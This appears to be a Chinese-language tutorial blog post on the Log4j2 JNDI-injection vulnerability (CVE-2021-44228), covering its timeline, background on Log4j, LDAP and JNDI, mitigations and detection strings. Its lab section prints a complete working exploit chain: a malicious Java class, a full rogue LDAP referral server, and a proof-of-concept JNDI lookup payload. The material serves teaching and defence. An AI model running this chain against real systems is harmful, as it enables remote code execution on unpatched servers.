Log4j2相信大家不陌生了~~~哈哈哈哈,
相信大家已經被 Log4j2 的重大漏洞刷屏了,幾乎沒有互聯網公司幸免,
估計有不少開發的小伙伴在此前為了修 bug 已經累趴下了,
估計也有不少安全圈的大佬靠著這個漏洞賺了一輛車或者一棟房~~~
你~~~趕上了嗎?
每每出現這種重大漏洞,開發崗的大佬們---苦逼,安全崗的大佬們---過年,哈哈哈哈
今天勒,我們就來聊一下 Log4j2 到底是個什么鬼 ?
目錄
Log4j遠程代碼執行漏洞詳解
中華人民共和國網路安全法
一、時間線
二、log4j介紹與漏洞影響(CVE-2021-44228)
1. 什么是log4j?(log4j)
1. 概念
2. 在應用程式中輸出日志的目的:(傳送門)
3. Log4J主要的三大組件:
4. Log4j的基本使用方法:(傳送門)
2. 為什么要用 log4j 不用System.Out.println()?
3. 關于log4j的幾個問題
1. 什么情況使用log4j、什么情況下使用System.out.println?
2. log4j是否會影響性能?
4. log4j 的檔案保存位置?
5. log4j列印堆疊資訊?
4. 相關漏洞
三、JNDI注入原理
1. 什么是LDAP?(輕型目錄訪問協議)
1. 目錄服務是什么?(目錄服務)
2. LDAP:典型應用:統一登陸
3. LDAP怎么實作 ?
2. 什么是JNDI ?(JNDI)
1. 什么是命名服務?
2. JNDI基本操作
?3. JNDI可以訪問的服務
3、什么是JNDI注入?
兩個關鍵知識點
1、JNDI動態協議轉換
2、JNDI 命名參考(Naming Reference)
四、自行搭建靶場環境進行復現
1. 環境介紹
2. 準備遠程代碼
1. Exploit.java : javac Exploit java
2. class上傳到遠程HTTP服務器
3. 準備LDAP服務器
4. LDAP客戶端(log4i)
五、在線環境復現
1. 靶機地址
七、log4j RCE排查方式
1. 影響版本
2. 受影響組件
八、修復方式
1. 檢測方案
2. 升級至最新版
3. 采取臨時措施
中華人民共和國網路安全法
九、專欄分享
Log4j遠程代碼執行漏洞詳解
中華人民共和國網路安全法
第二十七條
任何個人和組織不得從事非法侵入他人網路、干擾他人網路正常功能、竊取網路資料等危害網路安全的活動;
不得提供專門用于從事侵入網路、干擾網路正常功能及防護措施、竊取網路資料等危害網路安全活動的程式、工具;
明知他人從事危害網路安全的活動的,不得為其提供技術支持、廣告推廣、支付結算等幫助,
本文內容僅用于以防御為目的的安全知識分享 !!!
請勿用于其他用途,否則后果自負 !!!
一、時間線
先來聊一下時間線吧,
1、11月24日,阿里云安全團隊向Apache官方報告了Apache Log4j2遠程代碼執行漏洞,
2、12月4 日開始有在野攻擊,
3、2021年12月06日,log4j2 發布修復包 log4j-2.15.0-rc1.jar,
4、9號,多家SRC披露漏洞危害,
5、12月10日,阿里云安全團隊發現 Apache Log4j 2.15.0-rc1 版本存在漏洞繞過,請及時更新至 Apache Log4j 2.15.0-rc2 版本,
6、10號凌晨漏洞細節被公開,大量的白帽子去各大SRC提交(賺賞金) ; dnslog平臺擠爆
7、由于影響太大,10號上午,各SRC陸續關閉log4j漏洞提交通道
8、各安全廠商紛紛通報,發布臨時解決辦法
9、苦逼的程式猿開始修復漏洞
10、Apache陸續發布rc1補丁、rc2補丁、 2.15正式版
10號之前,各家 SRC 只是披露漏洞危害,而沒有給出詳情,apache沒有要公開讓大家修復漏洞,為什么?
一旦提前給出漏洞詳情,漏洞利用太簡單了,人人都可以去利用,
apache 公布修復漏洞,立刻就會有人知道這個漏洞的存在,在沒有補丁包出現之前是無法公開的,
10號凌晨不知道是誰將漏洞詳情公開,凌晨三點直接炸鍋,京東在10號凌晨3點立即關閉SRC log4j RCE的提交通道,
10號下午,幾乎沒有SRC在接收這個漏洞,因為影響是在太大,使用率太高,賞金很難付得起,
rc1補丁包沒什么用,依然可以繞過,rc2補丁包才可以解決問題,到了10號晚上才發布2.15正式版,
注意:在官方沒有通知大家修復時將漏洞公開是違法的!!!
中國在2021年11月1號開始實作互聯網安全產品漏洞管理規定,要求不能再別人公布漏洞之前去發布漏洞資訊,
二、log4j介紹與漏洞影響(CVE-2021-44228)
1. 什么是log4j?(log4j)
1. 概念
Log4j是Apache的一個開源專案,通過使用Log4j,我們可以控制日志資訊輸送的目的地是控制臺、檔案、GUI組件,甚至是套介面服務器、NT的事件記錄器、UNIX Syslog守護行程等;我們也可以控制每一條日志的輸出格式;通過定義每一條日志資訊的級別,我們能夠更加細致地控制日志的生成程序,
最令人感興趣的就是,這些可以通過一個組態檔來靈活地進行配置,而不需要修改應用的代碼,
簡單來說:就是Apache的開源日志記錄組件,使用非常廣泛,
這次漏洞的是非常嚴重的,已經被CVE收錄,這次漏洞的影響非常的大,也是因為Log4j這個記錄的組件使用率非常的高,
2. 在應用程式中輸出日志的目的:(傳送門)
監視代碼中變數的變化情況,把資料周期性記錄到檔案中供其他應用進行統計分析作業;
跟蹤代碼運行時軌跡,作為日后審計的依據;
擔當集成開發環境中的除錯器的作用,向檔案和控制臺列印代碼的除錯資訊;
3. Log4J主要的三大組件:
Log4j由三個重要的組件構成:日志資訊的優先級,日志資訊的輸出目的地,日志資訊的輸出格式,日志資訊的優先級從高到低有ERROR、WARN、 INFO、DEBUG,分別用來指定這條日志資訊的重要程度;日志資訊的輸出目的地指定了日志將列印到控制臺還是檔案中;而輸出格式則控制了日志資訊的顯示內容,
Logger:負責生成日志,并能夠對日志資訊進行分類篩選;
Appender:定義了日志資訊輸出的目的地,指定日志資訊應該被輸出到什么地方,這些地方可以是控制臺、檔案、網路設備等;
Layout:指定日志資訊的輸出格式;
4. Log4j的基本使用方法:(傳送門)
一、定義組態檔
1.配置根Logger
2.配置日志資訊輸出目的地Appender
3.配置日志資訊的格式(布局)
二、在代碼中使用Log4j
1.得到記錄器
2.讀取組態檔
3.插入記錄資訊(格式化日志資訊)
當上兩個必要步驟執行完畢,您就可以輕松地使用不同優先級別的日志記錄陳述句插入到您想記錄日志的任何地方,語法如下:Logger.debug()
Logger.info()
Logger.warn()
Logger.error()詳細實用資訊請看傳送門,本文以講漏洞為主,
2. 為什么要用 log4j 不用System.Out.println()?
1、輸出資訊用于除錯,產品上線前需要清除除錯資訊,需要找到每一個System.Out.println()進行洗掉,太麻煩了,
2、不同包使用不同格式進行輸出,使用log4j更加簡單,
3、System.Out.println()切換輸出渠道(比如控制臺、檔案、資料庫)會增加代碼量,
4、怎么控制檔案大小(切割,洗掉等等)和清理行為,使用System.Out.println()很麻煩,
通過:日志級別、組態檔(進行調節完成上面4個點,很靈活),
專業的人干專業的事,
3. 關于log4j的幾個問題
1. 什么情況使用log4j、什么情況下使用System.out.println?
System.out.println在開發中可以使用,部署專案后用日志檔案,最好不要用System.out.println,
2. log4j是否會影響性能?
log4j會拖慢行程回應時間
3. 為什么log4j日志的最高級是error,但error卻是"雖然發生錯誤事件,但仍然不影響系統的繼續運行"?
日志有7個等級:
A:off 最高等級,用于關閉所有日志記錄,
B:fatal 指出每個嚴重的錯誤事件將會導致應用程式的退出,
C:error 指出雖然發生錯誤事件,但仍然不影響系統的繼續運行,
D:warm 表明會出現潛在的錯誤情形,
E:info 一般和在粗粒度級別上,強調應用程式的運行全程,
F:debug 一般用于細粒度級別上,對除錯應用程式非常有幫助,
G:all 最低等級,用于打開所有日志記錄,
而log4j建議使用四種:debug、info、warn、error
4. log4j 的檔案保存位置?
存放到專案目錄下:
${task5.root}/WEB-INF/logs/log.log
5. log4j列印堆疊資訊?
log.info("xxx", e)
4. 相關漏洞
有人拿 log4j RCE 漏洞和一些非常出名的漏洞相提并論,都是近幾年公布的,影響是非常大的,知道現在參加護網行動,或者挖洞,它們任然可以被利用,
FastJson反序列化
Apache Shiro
永恒之藍
臟牛漏洞
三、JNDI注入原理
嚴格來說這個漏洞就是由于JNDI注入引起的,那么什么是JNDI注入呢?
1. 什么是LDAP?(輕型目錄訪問協議)
LDAP全稱:LIGHTWEIGHT DIRECTORY ACCESS Protocol,即輕量級目錄訪問協議,
可以理解為就是目錄服務,那么是什么是目錄服務呢 ?
1. 目錄服務是什么?(目錄服務)
目錄服務:Directory Service,
目錄服務對于網路的作用就像白頁對電話系統的作用一樣,
目錄服務將有關現實世界中的事物(如人、計算機、列印機等等)的資訊存盤為具有描述性屬性的物件,人們可以使用該服務按名稱查找物件或者像使用黃頁一樣,可使用它們查找服務,
估計還是不好理解,這里舉例說明一下:
舉例說明:
電話簿:
目錄服務就像以前用固定電話的時候,不知道別人的電話號碼是多少,不方便聯系,所以就有了電話簿,這個電話簿就是目錄,包含聯系人和電話號碼,
對于計算機來說也需要這樣一個目錄來進行管理,然后就有了LDAP這樣一個協議,
2. LDAP:典型應用:統一登陸
1. 需求
公司有很多系統,作為一個員工要登陸公司這么多的系統需要記住很多的賬號和密碼,非常麻煩,
能不能把所有賬號統一起來,我只用一個賬號密碼就可以登錄所有系統 ?
2. 完成需求
使用一個系統存盤所有用戶資訊,就可以解決,
就是利用到了LDAP來存盤所有的用戶資訊,
不管登錄什么系統都只需要經過LDAP的驗證就可以了,
和SSO有點相似,理解SSO:百度貼吧,百度網盤可以用一個賬號去登陸,登錄了一個賬號,打開其他的也是登陸狀態,不需要再次輸入密碼,
區別:LDAP只是實作了賬號的同一,還是要重復的進行密碼的驗證,
3. LDAP怎么實作 ?
使用廠商服務
| 廠商 | 產品 | 介紹 |
| SUN | SUNONE Directory Server | 基于文本資料庫的存盤,速度快 |
| IBM | IBM Directory Server | 基于DB2的的資料庫,速度-般 |
| Novell | Novell Directory Server | 基于文本資料庫的存盤,速度快,不常用到 |
| Microsoft | Microsoft Active Directory | 基于WINDOWS系統用戶對大資料量處理 速度一般,但維護容易,生態圈大,管理相 對簡單 |
| Opensource | Opensource | OpenLDAP開源的專案,速度很快,但是 非主流應用 |
2. 什么是JNDI ?(JNDI)
JNDI全稱:Java Naming and Directory Interface,即Java命名和目錄介面
簡單來說:就是命名服務介面,那什么是命名服務介面呢?
1. 什么是命名服務?
命名服務(Naming Service) :用于根據名字找到位置、服務、資訊、資源、物件等Key Value,就是名字找資源的一個服務,
2. JNDI基本操作
1、發布服務(名字和資源的映射) : bind()
2、用名字查找資源: lookup()
?3. JNDI可以訪問的服務
LDAP目錄服務、RMI遠程方法呼叫、DNS、XNam、Novell目錄服務、CORBA物件服
務、檔案系統、Windows、XP/2000/NT/Me/9x的注冊表、DSMLv1 &v2、NIS,
3、什么是JNDI注入?
兩個關鍵知識點
1、JNDI動態協議轉換
對于lookup方法:
即時初始化的Context指定了一個協議,也會根據URI傳入的引數來轉換協議,
也就是說:替換lookup里面的協議內容,則會使用修改后的協議,
如下:1改為2或3,就會使用Idap或iiop協議而不會使用rmi協議,
ctx.lookup("rmi://wuya-server/refObj");
//ctx.lookup("ldap://wuya-server/cn= bar,dc=test,dc=org");
//ctx.lookup("iiop://wuya-server/bar' );
JVDI支持自動轉換的協議
| 協議名稱 | 協議URL | Context類 |
| DNS協議 | dns:// | com.sun.jndi.url.dns.dnsURLContext |
| RMI協議 | rmi:// | com.sun.jndi.url.rmi.rmiURLContext |
| LDAP協議 | ldap:// | com.sun.jndi.url.Idap.ldapURLContext |
| LDAP協議 | ldaps:// | com.sunjndi.ur.ldaps.IdapsURLContextFactory |
| IIOP物件請求代理協議 | iiop:// | com.sun.jndi.ur.iiop.iiopURLContext |
| IIOP物件請求代理協議 | iiopname:// | com.sun.jndi.url.iioprame.iiopnameURLContextFactory |
| IIOP物件請求代理協議 | corbaname:// | com.sun.jndi.url.corbaname.corbanameURLContextFactory |
2、JNDI 命名參考(Naming Reference)
1、在LDAP里面可以存盤一個外部的資源,叫做命名參考,對應Reference類,比如遠程HTTP服務的一個.class檔案,
2、如果JNDI客戶端基于LDAP服務,找不到對應的資源,就去指定的地址請求,如果是命名參考,會把這個檔案下載到本地,
3、如果下載的.class檔案包含無參建構式或靜態方法塊,加載的時候會自動執行,
JNDI注入(漏洞)流程
1. 傳惡意引數
2. 受害者訪問黑客搭建的LDAP服務
3. 受害者請求黑客搭建的服務
4. 下載惡意檔案
?
1、怎么在外網啟動一 個LDAP服務?
本地Java代碼(打包發到服務器)
marshalsec-0.0.3-SNAPSHOT-all.jar,帶引數直接啟動
2、怎么在外網啟動一個HTTP服務?
Apache、Tomcat、 Nginx、 Phpstud.... .
3、為什么lookup下載一個class檔案會自動執行?
NamingManager.getObjectFactoryFromReference()類的clas. newInstance ()方法把class檔案實體化了,一實體化了,這個方法會立即執行,
四、自行搭建靶場環境進行復現
漏洞影響范圍:2.0 <= Apache log4j <= 2.14.1
簡單來說就三步:
1、啟動HTTP
2、啟動LDAP
3、執行Log4j
1. 環境介紹
1. 開發工具:IDEA
2. 基礎環境:JDK一JDK 1.8u121以下的版本一java -version
3. Maven:例如3.6.3 一mvn -version
2. 準備遠程代碼
1. Exploit.java : javac Exploit java
2. class上傳到遠程HTTP服務器
Apache. Python SimpleHTTPServer都可以
phpstudy:(Linux,Windows)
XShell:上傳檔案
import java.io.IOException;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
3. 準備LDAP服務器
1. LDAPRefServer.java:maven依賴 :unboundid-ldapsdk
2. 系結的埠
3. 配置遠程代碼的HTTP URL
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LDAPRefServer {
private static final String LDAP_BASE = "dc=example,dc=com";
/**
* class地址 用#Exploit代替Exploit.class
*/
private static final String EXPLOIT_CLASS_URL = "http://192.168.142.66:80/#Exploit";
public static void main(String[] args) {
int port = 7912;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(EXPLOIT_CLASS_URL)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Calc");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
4. LDAP客戶端(log4i)
maven依賴:2.14.1
版本:Apache Log4j2.x<= 2.14.1
執行代碼即可
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Poc {
private static final Logger log = LogManager.getLogger();
public static void main(String[] args) {
log.error("${jndi:rmi://127.0.0.1:1099/xxxx}");
}
}
五、在線環境復現
1. 靶機地址
https://hack.zkaq.cn/battle/target?id=5a768e0ca6938ffd
七、log4j RCE排查方式
1. 影響版本
1. 使用了log4j的組件,并且版本在2.x <= 2.14.1
2. JDK版本小于8u191、7u201、 6u211
2. 受影響組件
| 應用 | 受影響版本 |
| Spring- Boot- strater-log4j2 | 全版本 |
| Apache Struts2 | 全版本 |
| Apache Solr | 已經在9.0和8.11.1修復 |
| Apache Flink | 1.11.0-rc1到1.14.0 |
| Apache Druid | 0.7.x以上 |
| Alibaba Druid | 1.0.15以及以上 |
| ElasticSearch . | 5.x、6.x和7.x |
| Logstash | 5.0.0至最新 |
| log4j2-redis - appender | 全版本 |
| Apache Dubbo | 2.7. x以及3.0.x |
| Hadoop Hive | 2. x和3.x |
| hadoop hbase | 3.0.0-alpha-1 |
| Mycat | 1.6.x |
| OpenCms | build_ 11_ 0_ 0_ beta到最新 |
八、修復方式
1. 檢測方案
1. 建議企業可以通過流量監測設備監控是否有相關 DNSLog 域名的請求.
2. 建議企業可以通過監測相關流量或者日志中是否存在“jndi:ldap://”、“jndi:rmi”等字符來發現可能的攻擊行為,
2. 升級至最新版
目前,Apache官方已發布新版本完成漏洞修復,建議用戶盡快進行自查,并及時升級至最新版本:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
3. 采取臨時措施
1. 添加jvm啟動引數 -Dlog4j2.formatMsgNoLookups=true,
2. 在應用classpath下添加log4j2.component.properties組態檔,檔案內容為log4j2.formatMsgNoLookups=true,
3. 設定系統環境變數 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 為 true,
3. 采用 rasp 對lookup的呼叫進行阻斷,
4. JDK使用11.0.1、8u191、7u201、6u211及以上的高版本,
5. 部署使用第三方防火墻產品進行安全防護,
6. 禁止不必要的業務訪問外網,
中華人民共和國網路安全法
第二十七條
任何個人和組織不得從事非法侵入他人網路、干擾他人網路正常功能、竊取網路資料等危害網路安全的活動;
不得提供專門用于從事侵入網路、干擾網路正常功能及防護措施、竊取網路資料等危害網路安全活動的程式、工具;
明知他人從事危害網路安全的活動的,不得為其提供技術支持、廣告推廣、支付結算等幫助,
本文內容僅用于以防御為目的的安全知識分享 !!!
請勿用于其他用途,否則后果自負 !!!
九、專欄分享
每個專欄都在持續更新中~~~
滲透測驗自學篇
網路基礎
web基礎知識點
作業系統篇
python爬蟲
閑聊
面試總結
python
通訊安全
靶場
系列文章:[ 滲透入門篇 ] 滲透行業必備術語大集合(一)
[ linux ] 檔案系統和目錄結構詳解
[ 網路協議篇 ] 一篇文章讓你掌握神秘的 DHCP(一)
[ 應急回應 ]服務器(電腦)受到攻擊該如何處理?(一)
本文到這里就結束了,相信你對 log4j RCE有了更深的理解,
我們下篇文章見 !^.^
參考文章:
Apache Log4j 漏洞(JNDI注入 CVE-2021-44228)_小龍在線-CSDN博客_log4j漏洞復現
(6條訊息) 為什么要用Log4j來替代System.out.println_梵高的夏天的博客-CSDN博客
(6條訊息) 為什么要用log4j?_隨風飄揚-CSDN博客_為什么要用log4j
java中的日志組件-log4j - 十三弦 - 博客園 (cnblogs.com)
我鮳,Log4j2突發重大漏洞,我們也中招了,,_沉默王二-CSDN博客_log4j2漏洞
Log4j使用教程_Vicky_Tang-CSDN博客_log4j 教程
Log4j漏洞修復_yuzhiqiang_1的博客-CSDN博客
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/382808.html
標籤:其他
下一篇:Log4j 漏洞最早由阿里云團隊發現;HashiCorp 掛牌上市,市值 152 億美元;Go 1.18 Beta1 發布 | 開源日報
